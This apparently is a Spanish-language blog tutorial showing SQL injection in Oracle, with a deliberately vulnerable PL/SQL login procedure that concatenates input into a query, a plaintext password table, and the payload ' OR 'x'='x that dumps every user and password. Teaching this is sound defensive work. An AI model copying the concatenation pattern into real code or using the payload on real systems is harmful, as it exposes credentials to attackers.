Veamos un ejemplo de SQL Injection en Oracle:
Creamos una tabla para nuestra prueba que contiene usuarios y passwords:
SQL_9iR2> CREATE TABLE login AS
2 SELECT 'user_'||level username, to_char(level*10000) password
3 FROM dual
4 CONNECT BY level <= 5 ; Table created.
SQL_9iR2> SELECT *
2 FROM login ;
USERNAME PASSWORD
---------------- ----------
user_1 10000
user_2 20000
user_3 30000
user_4 40000
user_5 50000
5 rows selected.
Creamos un procedimiento de login que recibe como parámetros el usuario y password de validación. Si los datos son correctos, se devuelven todos los usuarios y passwords de la tabla login, en caso contrario se devuelve una leyenda de error:
SQL_9iR2> CREATE OR REPLACE PROCEDURE pr_login
2 (
3 p_username IN VARCHAR2 ,
4 p_password IN VARCHAR2
5 )
6 IS
7 l_flag BOOLEAN DEFAULT FALSE ;
8 l_cursor SYS_REFCURSOR ;
9 l_query VARCHAR2(4000) ;
10 registro login%ROWTYPE ;
11 BEGIN
12 l_query := 'SELECT *'
13 ||' FROM login'
14 ||' WHERE username = '''||p_username||''''
15 ||' AND password = '''||p_password||'''' ;
16
17 dbms_output.put_line('CONSULTA: '||l_query) ;
18
19 OPEN l_cursor FOR l_query ;
20 LOOP
21 FETCH l_cursor INTO registro ;
22 EXIT WHEN l_cursor%NOTFOUND ;
23 dbms_output.put_line('USER : '||registro.username||'
'||'PASS:'||registro.password) ;
24 IF NOT ( l_flag ) THEN
25 l_flag := TRUE ;
26 END IF ;
27 END LOOP ;
28 CLOSE l_cursor ;
29 IF NOT ( l_flag ) THEN
30 dbms_output.put_line('LOGIN INCORRECTO!') ;
31 END IF ;
32 EXCEPTION
33 WHEN OTHERS THEN
34 dbms_output.put_line('LOGIN INCORRECTO!') ;
35 END ;
36 /
Procedure created.
Bien, ahora vamos a probar nuestro procedimiento de login:
SQL_9iR2> EXEC pr_login('user_2','123456789') ;
CONSULTA: SELECT * FROM login WHERE username = 'user_2' AND password = '123456789'
LOGIN INCORRECTO!
PL/SQL procedure successfully completed.
El procedimiento anduvo a la perfección! Validó el usuario y password, y como resultan ser incorrectos, nos devolvió un error.
Fijense que en el procedimiento incluimos una linea de código (la nro. 17) que nos va a mostrar la sentencia SQL que estamos ejecutando.
Ahora probemos nuevamente ejecutar el procedimiento de login pero modificando el segundo parámetro:
SQL_9iR2> EXEC pr_login('user_2','123456789'' OR ''x''=''x') ;
CONSULTA: SELECT * FROM login WHERE username = 'user_2' AND password = '123456789' OR 'x'='x'
USER : user_1 PASS: 10000
USER : user_2 PASS: 20000
USER : user_3 PASS: 30000
USER : user_4 PASS: 40000
USER : user_5 PASS: 50000
PL/SQL procedure successfully completed.
Les presento a SQL Injection! Como acabamos de observar, modificando uno de los parámetros, pudimos lograr modificar la sentencia SQL que se ejecuta en la base de datos y por consiguiente, ver todos los usuarios y passwords de la tabla login.
La única pregunta que queda por hacer es: ¿ Qué tan segura es su aplicación ?
2 comentarios:
Excelente post.
Fabuloso post..Quisiera saber si desde Oracle existe una forma de garantizar los niveles de seguidad en un Web page..
Mil Gracias!!
Publicar un comentario